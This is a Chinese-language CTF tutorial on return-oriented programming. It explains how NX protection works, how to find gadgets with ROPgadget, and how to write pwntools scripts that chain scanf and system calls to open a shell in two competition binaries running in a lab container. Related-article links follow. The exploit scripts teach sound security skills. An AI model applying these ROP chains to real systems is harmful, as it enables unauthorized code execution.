CTF必备技能丨Linux Pwn入门教程——ROP技术(上)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。
教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。
课程回顾>>
教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。
基于前面几期的内容分享,小伙伴在后台给出了很多好评,同时也提出了文章篇幅缩短的建议,经调整后第四章内容分为上下两篇,今天分享的是Linux Pwn入门教程:ROP技术(上),阅读用时约10分钟。
背景
在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的ShellCode就无法执行。
关于这个特性的实验在此不做展开,大家可以尝试在调试时修改EIP和read( )/scanf( )/gets( )等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢?首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S
或者同上一篇教程中的方法,使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页,以上方法均可能存在误差。
既然攻击者们能想到在RWX段内存页中写入ShellCode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)
顾名思义,ROP就是使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。
而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。
使用ROP调用got表中函数
首先我们来看一个x86下的简单ROP,我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出:
变量v1的首地址在bp-28h处,即变量在栈上,而输入使用的__isoc99_scanf不限制长度,因此我们的过长输入将会造成栈溢出。
程序开启了NX保护,所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路,我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢?
第一个问题,我们知道使用动态链接的程序导入库函数的话,我们可以在GOT表和PLT表中找到函数对应的项(稍后的文章中我们将详细解释)。跳转到.got.plt段,我们发现程序里居然导入了system函数。
解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”,但是程序里有__isoc99_scanf,我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。
首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段,我们看到0x0804a030开始有个可读可写的大于8字节的地址,且该地址不受ASLR影响,我们可以考虑把字符串读到这里。
接下来我们找到__isoc99_scanf的另一个参数“%s”,位于0x08048629
接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代码,将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道,对于x86的应用程序来说,其参数从右往左入栈。因此,现在我们就可以构建出一个ROP链。
`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(“/bin/sh”)
通过调试我们可以看到,当EIP指向retn时,栈上的数据和我们的预想一样,栈顶是plt表中__isoc99_scanf的首地址,紧接着是两个参数。我们继续跟进执行,在libc中执行一会儿之后,我们收到了一个错误,这是为什么呢?
我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中,当被call调用的函数运行结束后,ret指令就会取出被call指令压入栈中的地址传输给EIP。
但是在这里我们绕过call直接调用了__isoc99_scanf,没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s,而第一个参数就变成了binsh_addr`
call调用函数的情况
08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629
08048562 call ___isoc99_scanf
08048567 lea eax, [esp+18h]
08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp
从两种调用方式的比较上我们可以看到,由于少了call指令的压栈操作,如果我们在布置栈的时候不模拟出一个压入栈中的地址,被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述,我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数,我们让__isoc99_scanf执行完后再次返回到main函数开头,以便于再执行一次栈溢出。改良后的ROP链如下:
from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”)
我们再次进行调试,发现这回成功调用__isoc99_scanf把“/bin/sh”字符串读取到地址0x0804a030处:
此时程序再次从main函数开始执行。由于栈的状态发生了改变,我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”),这个ROP链可以模仿上一个写出来,完整的脚本也可以在对应文件夹中找到,此处不再赘述。
接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以发现溢出出现在Hello( )里
和上一个例子一样,由于程序开启了NX保护,我们必须找到system函数和“/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数,执行了system(“/bin/date”),那么system函数就有了。至于“/bin/sh”字符串,虽然程序中没有,但是我们找到了“sh”字符串,利用这个字符串其实也可以开shell。
现在我们有了栈溢出点,有了system函数,有了字符串“sh”,可以尝试开shell了。首先我们要解决传参数的问题。和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。
有很多工具可以帮我们找到ROP gadget,例如Pwntools自带的ROP类,ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)
通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段。
这里有一个小trick。首先,我们看一下IDA中这个地址的内容。
我们可以发现并没有0x400883这个地址,0x400882是pop r15, 接下来就是0x400884的retn,那么这个pop rdi会不会是因为ROPgadget出bug了呢?别急,我们选择0x400882,按快捷键D转换成数据。
然后选择0x400883按C转换成代码
我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。
现在我们已经准备好了所有东西,可以开始构建ROP链了。这回我们直接调用call system指令,省去了手动往栈上补返回地址的环节,脚本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在内存中的位置
binsh = 0x4003ef #字符串"sh"在内存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi)
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #调用system执行system("sh")
io.sendline(payload)
io.interactive()
进行调试,发现开shell成功。
retn跳转到0x400883处的gadget:pop rdi; ret
pop rdi将“sh”字符串所在地址0x4003ef赋值给rdi
retn跳转到call system处。
以上是今天的内容,大家看懂了吗?后面我们将持续更新Linux Pwn入门教程的相关章节,希望大家及时关注。
CTF必备技能丨Linux Pwn入门教程——ROP技术(上)的更多相关文章
- CTF必备技能丨Linux Pwn入门教程——ROP技术(下)
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ShellCode
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...
- CTF必备技能丨Linux Pwn入门教程——栈溢出基础
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>>Linux ...
- CTF必备技能丨Linux Pwn入门教程——环境配置
说在前面 这是一套Linux Pwn入门教程系列,作者依据Atum师傅在i春秋上的Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 问:为 ...
随机推荐
- Cygwin添加右键菜单
修改注册表 统一的方式,添加一个右键命令 找到HKEY_CLASSES_ROOT\Directory\Background\shell 右键,新建项.名字随便起 再次右键,新建项.命名command ...
- 一文解读5G (转)
今天要研究的对象,是5G接入网. 什么是接入网?相信不少同学,对这个概念一定不会陌生. 搬出这张移动通信架构图: 接入网,在我们无线通信里,一般指无线接入网,也就是通常所说的RAN(Radio Acc ...
- Linux中fdisk分区
一.硬盘接口 从整体的角度上,硬盘接口分为IDE.SATA.SCSI和SAS四种,IDE接口硬盘多用于家用产品中,也部分应用于服务器,SCSI接口的硬盘则主要应用于服务器市场,而SAS只在高端服 ...
- C++:基本类型的转换
C++:基本类型的转换 一.string转为int [参考:https://blog.csdn.net/m0_37316917/article/details/82712017] string num ...
- itest(爱测试) 4.2.0 发布,开源BUG 跟踪管理 & 敏捷测试管理软件
itest 入选 2019 年度最受欢迎开源中国软件 开源工具的发展,离不开你我的支持,需要您投上宝贵的一票 去投票 v4.2.0下载地址 :itest下载 itest 简介:查看简介 itest ...
- 蓝桥杯dfs搜索专题
2018激光样式 #include<bits/stdc++.h> using namespace std; /* dfs(i) 第i个激光机器 有两种选择:vis[i-1] == 0 时 ...
- pandas分组统计:groupby,melt,pivot_table,crosstab的用法
groupby: 分组 melt: 宽表转长表 pivot_table: 长表转宽表,数据透视表 crosstab: 交叉表 / 列联表,主要用于分组频数统计 import numpy as np i ...
- android appium微信等自动化的那些坑儿
1.下载appium自动化安装环境: appium客户端 python语言支持 android studio(包含android sdk和adb) java开发环境 2.微信x5内核调试(网上有详细配 ...
- miniapp之登录、授权和支付
微信小程序代码实现(登录.授权和支付) ==整体流程看上一篇博客,或者去微信公众平台查看文档== ==只列出核心代码,详细代码见码云michaelben== 登录 // //小程序端 // app.j ...
- 检索式chatbot:
小夕从7月份开始收到第一场面试邀请,到9月初基本结束了校招(面够了面够了T_T),深深的意识到今年的对话系统/chatbot方向是真的超级火呀.从微软主打情感计算的小冰,到百度主打智能家庭(与车联网? ...